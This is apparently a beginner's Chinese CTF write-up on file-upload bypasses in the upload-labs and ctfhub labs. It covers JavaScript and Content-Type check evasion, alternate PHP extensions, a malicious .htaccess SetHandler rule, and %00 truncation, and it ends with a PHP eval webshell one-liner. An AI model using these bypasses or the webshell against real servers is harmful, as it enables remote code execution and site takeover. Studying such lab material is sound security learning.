CTF之萌新web学习(文件上传)

文件上传

1.客户端校验——javascript校验

绕过方法

  1. 抓包改包
  2. 禁用js
  3. F12修改前端代码

实验环境:upload-labs-master第一关
CTF之萌新web学习(文件上传)_第1张图片
不知道为什么,我修改前端代码无效,我就抓包了
CTF之萌新web学习(文件上传)_第2张图片
上传phpinfo.jpg绕过了js检验,再改后缀名
CTF之萌新web学习(文件上传)_第3张图片
上传成功了,找到图片地址
http://192.168.1.10/upload-labs-master/upload/phpinfo.php
CTF之萌新web学习(文件上传)_第4张图片
执行了phpinfo()函数
CTF之萌新web学习(文件上传)_第5张图片

2.服务端校验——content-type校验

扩展名 MIME类型
gif image/gif
png image/png
jpg image/jpg
js text/javascript
htm text/html
html text/html

绕过方法:

  1. 抓包改content-type字段
  2. 改文件名后上传抓包后再改回文件名
  3. 上传正常文件改文件内容

实验环境:upload-labs-master第二关
CTF之萌新web学习(文件上传)_第6张图片
上传后发现文件类型不正确,抓包
CTF之萌新web学习(文件上传)_第7张图片
成功上传!

3.服务端校验——黑名单

绕过方法:

  1. 大小写绕过,例如:Php,PHp
  2. 利用黑名单没有的,但是又能被解析的后缀名,例如:php,php3,php4,php5,php7,pht,phtml,phps

实验环境:upload-labs-master第三关
CTF之萌新web学习(文件上传)_第8张图片
上传了一个.php5试一下,上传成功,
CTF之萌新web学习(文件上传)_第9张图片
但前提是apache能解析这些代码,httpd.conf文件有下面代码。
AddType application/x-httpd-php .php .phtml .phps .php1. php3. php5 .pht

4.通用方法

一:配合Apache的.htaccess文件上传解析

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。 来自htaccess_百度百科

AllowOverride None,如果我们把None改为All,那么我们的www目录下所有项目都能读到.htaccess了
建一个.htaccess 文件,里面的内容如下:

<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>

匹配到文件名中含有xxx的字符 就以php形式去解析。
或者:

SetHandler application/x-httpd-php .jpg  

使jpg文件都解析为php文件。

实验环境:upload-labs-master第四关
发现大小写,黑名单都不行,试试.htaccess能不能上传
CTF之萌新web学习(文件上传)_第10张图片
成功上传,试试能不能使用
CTF之萌新web学习(文件上传)_第11张图片
出现了错误,我没解决,这题就是一个思路,懂了就行,我的环境还是有问题。
可参考.htaccess 文件 在文件上传中的使用
Apache CGI模式下修改.htaccess导致服务器500的解决办法

二:使用00截断

move_uploaded_file函数遇到0x00(16进制)就会认为已经结束
截断存在php版本小于5.3.4中,php.ini的magic_quotes_gpc为OFF状态
直接上实验解释 实验环境:upload-labs-master第11关
CTF之萌新web学习(文件上传)_第12张图片
对文件后缀名进行白名单限制,尝试%00截断,用burpsuite抓包
CTF之萌新web学习(文件上传)_第13张图片
看看上传成功没有
CTF之萌新web学习(文件上传)_第14张图片
buuctf和本地搭建的都有问题。。。。
然后我之前有个误区,可参考关于上传中的00截断分析
第二天我在ctfhub上看到了00截断的题,gogogo
CTF之萌新web学习(文件上传)_第15张图片
先上传php,发现不能上传,于是就考虑00截断,方法同上,用路径的方式,上传成功

 @eval($_POST['pass']);?>

写入一句话,使用蚁剑链接,这里就是路径的upload文件是不可访问的。我找了半天文件
CTF之萌新web学习(文件上传)_第16张图片

你可能感兴趣的:(ctf)